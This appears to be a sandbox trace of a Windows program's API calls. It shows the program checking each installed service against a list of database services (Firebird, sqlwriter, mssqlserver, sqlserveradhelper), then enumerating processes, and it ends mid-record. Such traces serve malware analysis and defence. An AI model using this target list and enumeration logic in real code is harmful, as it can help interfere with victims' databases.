[0211.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0211.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0211.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0211.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0211.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0211.730] lstrlenW (lpString="ClickToRunSvc") returned 13 [0211.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0211.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0211.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0211.730] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0211.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0211.730] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0211.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0211.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0211.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0211.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0211.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0211.730] lstrlenW (lpString="CryptSvc") returned 8 [0211.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0211.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0211.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0211.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0211.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0211.730] lstrlenW (lpString="DcomLaunch") returned 10 [0211.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0211.730] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0211.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0211.730] lstrlenW (lpString="DeviceAssociationService") returned 24 [0211.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0211.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0211.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0211.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0211.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0211.731] lstrlenW (lpString="Dhcp") returned 4 [0211.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0211.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0211.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0211.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0211.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0211.731] lstrlenW (lpString="Dnscache") returned 8 [0211.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0211.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0211.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0211.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0211.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0211.731] lstrlenW (lpString="DPS") returned 3 [0211.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0211.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0211.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0211.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0211.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0211.731] lstrlenW (lpString="DusmSvc") returned 7 [0211.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0211.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0211.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0211.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0211.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0211.731] lstrlenW (lpString="EventLog") returned 8 [0211.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0211.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0211.731] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0211.731] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0211.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0211.731] lstrlenW (lpString="EventSystem") returned 11 [0211.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0211.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0211.732] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0211.732] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0211.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0211.732] lstrlenW (lpString="FontCache") returned 9 [0211.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0211.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0211.732] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0211.732] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0211.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0211.732] lstrlenW (lpString="gpsvc") returned 5 [0211.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0211.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0211.732] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0211.732] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0211.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0211.732] lstrlenW (lpString="iphlpsvc") returned 8 [0211.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.732] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0211.732] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0211.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0211.732] lstrlenW (lpString="KeyIso") returned 6 [0211.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0211.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0211.732] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0211.732] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0211.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0211.732] lstrlenW (lpString="LanmanServer") returned 12 [0211.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0211.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0211.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0211.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0211.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0211.733] lstrlenW (lpString="LanmanWorkstation") returned 17 [0211.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0211.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0211.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0211.733] lstrlenW (lpString="lfsvc") returned 5 [0211.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0211.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0211.733] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0211.733] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0211.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0211.733] lstrlenW (lpString="lmhosts") returned 7 [0211.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0211.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0211.733] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0211.733] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0211.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0211.733] lstrlenW (lpString="LSM") returned 3 [0211.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0211.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0211.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0211.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0211.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0211.733] lstrlenW (lpString="MpsSvc") returned 6 [0211.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0211.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0211.733] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0211.733] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0211.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0211.734] lstrlenW (lpString="NcbService") returned 10 [0211.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0211.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0211.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0211.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0211.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0211.734] lstrlenW (lpString="netprofm") returned 8 [0211.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0211.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0211.734] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0211.734] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0211.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0211.734] lstrlenW (lpString="NgcSvc") returned 6 [0211.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0211.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0211.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0211.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0211.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0211.734] lstrlenW (lpString="NlaSvc") returned 6 [0211.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0211.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0211.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0211.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0211.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0211.734] lstrlenW (lpString="nsi") returned 3 [0211.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0211.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0211.734] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0211.734] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0211.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0211.734] lstrlenW (lpString="PcaSvc") returned 6 [0211.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0211.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0211.735] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0211.735] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0211.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0211.735] lstrlenW (lpString="PlugPlay") returned 8 [0211.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0211.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0211.735] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0211.735] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0211.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0211.735] lstrlenW (lpString="Power") returned 5 [0211.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0211.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0211.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0211.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0211.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0211.882] lstrlenW (lpString="ProfSvc") returned 7 [0211.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0211.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0211.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0211.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0211.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0211.882] lstrlenW (lpString="RpcEptMapper") returned 12 [0211.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0211.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0211.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0211.882] lstrlenW (lpString="RpcSs") returned 5 [0211.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0211.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0211.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0211.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0211.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0211.882] lstrlenW (lpString="SamSs") returned 5 [0211.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0211.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0211.882] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0211.882] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0211.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0211.883] lstrlenW (lpString="Schedule") returned 8 [0211.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0211.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0211.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0211.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0211.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0211.883] lstrlenW (lpString="SecurityHealthService") returned 21 [0211.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0211.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0211.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0211.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0211.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0211.883] lstrlenW (lpString="SENS") returned 4 [0211.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0211.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0211.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0211.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0211.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0211.883] lstrlenW (lpString="ShellHWDetection") returned 16 [0211.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0211.883] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0211.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0211.883] lstrlenW (lpString="Spooler") returned 7 [0211.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0211.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0211.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0211.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0211.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0211.883] lstrlenW (lpString="StateRepository") returned 15 [0211.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0211.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0211.884] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0211.884] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0211.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0211.884] lstrlenW (lpString="SysMain") returned 7 [0211.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0211.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0211.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0211.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0211.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0211.884] lstrlenW (lpString="SystemEventsBroker") returned 18 [0211.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0211.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0211.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0211.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0211.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0211.884] lstrlenW (lpString="Themes") returned 6 [0211.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0211.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0211.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0211.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0211.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0211.884] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0211.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0211.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0211.884] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0211.884] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0211.885] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0211.889] Process32FirstW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.889] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.890] lstrlenW (lpString="System") returned 6 [0211.890] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.890] lstrlenW (lpString="smss.exe") returned 8 [0211.890] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.891] lstrlenW (lpString="csrss.exe") returned 9 [0211.891] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.891] lstrlenW (lpString="wininit.exe") returned 11 [0211.891] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.891] lstrlenW (lpString="csrss.exe") returned 9 [0211.892] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.892] lstrlenW (lpString="winlogon.exe") returned 12 [0211.892] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.892] lstrlenW (lpString="services.exe") returned 12 [0211.892] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.893] lstrlenW (lpString="lsass.exe") returned 9 [0211.893] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.893] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0211.893] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.894] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0211.894] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.894] lstrlenW (lpString="svchost.exe") returned 11 [0211.894] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.895] lstrlenW (lpString="svchost.exe") returned 11 [0211.895] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.895] lstrlenW (lpString="dwm.exe") returned 7 [0211.895] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.895] lstrlenW (lpString="svchost.exe") returned 11 [0211.895] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, 